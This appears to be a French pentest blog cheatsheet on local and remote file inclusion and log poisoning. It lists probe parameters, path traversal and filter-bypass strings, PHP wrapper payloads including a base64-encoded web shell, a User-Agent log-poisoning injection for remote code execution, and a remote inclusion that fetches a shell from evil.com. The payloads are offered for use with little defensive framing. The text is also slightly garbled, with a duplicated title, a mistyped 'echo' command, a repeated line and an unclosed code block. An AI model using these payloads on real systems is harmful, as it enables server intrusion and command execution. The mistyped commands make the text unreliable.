# LFI / RFI / Log Poisoning - Cheatsheet OSCP Style
# LFI / RFI / Log Poisoning - Cheatsheet Pentest Style
## 1. Points d’entrée possibles
Ces paramètres peuvent souvent contenir une inclusion de fichier :
- `?page=`
- `?file=`
- `?lang=`
- `?template=`
- `?view=`
- `?inc=`
- `?module=`
- `?path=`
- `?theme=`
- `?load=`
- `?dir=`
- `?cmd=`
### Tips de reconnaissance
- Le paramètre accepte une valeur modifiable et affecte le contenu affiché.
- Test avec `?param=../../../../etc/passwd` → résultat lisible ?
- Erreurs visibles : `include(): failed`, `failed to open stream`
- Réaction étrange sur des extensions comme `.php`, `.html`
- Contenu différent ou erreur si valeur modifiée
- Un paramètre `?cmd=` qui exécute des commandes = suspect !
---
## 2. Fichiers classiques à inclure
### Sous Linux
- `/etc/passwd`
- `/etc/hosts`
- `/proc/self/environ`
- `/var/log/apache2/access.log`
- `/var/log/apache2/error.log`
- `/var/log/auth.log`
- `/proc/self/fd/`
### Sous Windows
- `C:/boot.ini`
- `C:/Windows/win.ini`
- `C:/Windows/system32/drivers/etc/hosts`
---
## 3. Techniques de Bypass
- `../../../../etc/passwd`
- `%2e%2e%2f%2e%2e%2fetc%2fpasswd`
- Double encodage : `%252e%252e%252f`
- Null byte (si PHP < 5.3) : `/etc/passwd%00`
- Suffixe forcé : `/etc/passwd.php`
- Bypass filtre : `....//`, `....//....//etc/passwd`
---
## 4. Wrappers PHP utiles
- `php://filter/convert.base64-encode/resource=index.php`
- `php://input` *(rare mais exploitable si eval(input))*
- `data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+`
---
## 5. Log Poisoning (LFI to RCE)
### Principe
1. Injecter du PHP dans un fichier de log :
- Exemple : `User-Agent: <?php system($_GET['cmd']); ?>`
2. Inclure ce log avec LFI : ?file=/var/log/apache2/access.log&cmd=id
### Fichiers de log typiques :
- `/var/log/apache2/access.log`
- `/var/log/apache2/error.log`
- `/var/log/httpd/access_log`
- `/var/log/nginx/access.log`
---
## 6. RFI - Remote File Inclusion
### Conditions
- `allow_url_include = On` *(souvent désactivé en prod)*
- Inclusion de fichiers distants via : ?page=http://evil.com/shell.txt
### Payload classique
```php
<?php system($_GET['cmd']); ?>
En encodé : cho -n '<?php echo system($_GET["cmd"]);?>' | base64
En encodé : cho -n '<?php echo system($_GET["cmd"]);?>' | base64
Commentaires
Enregistrer un commentaire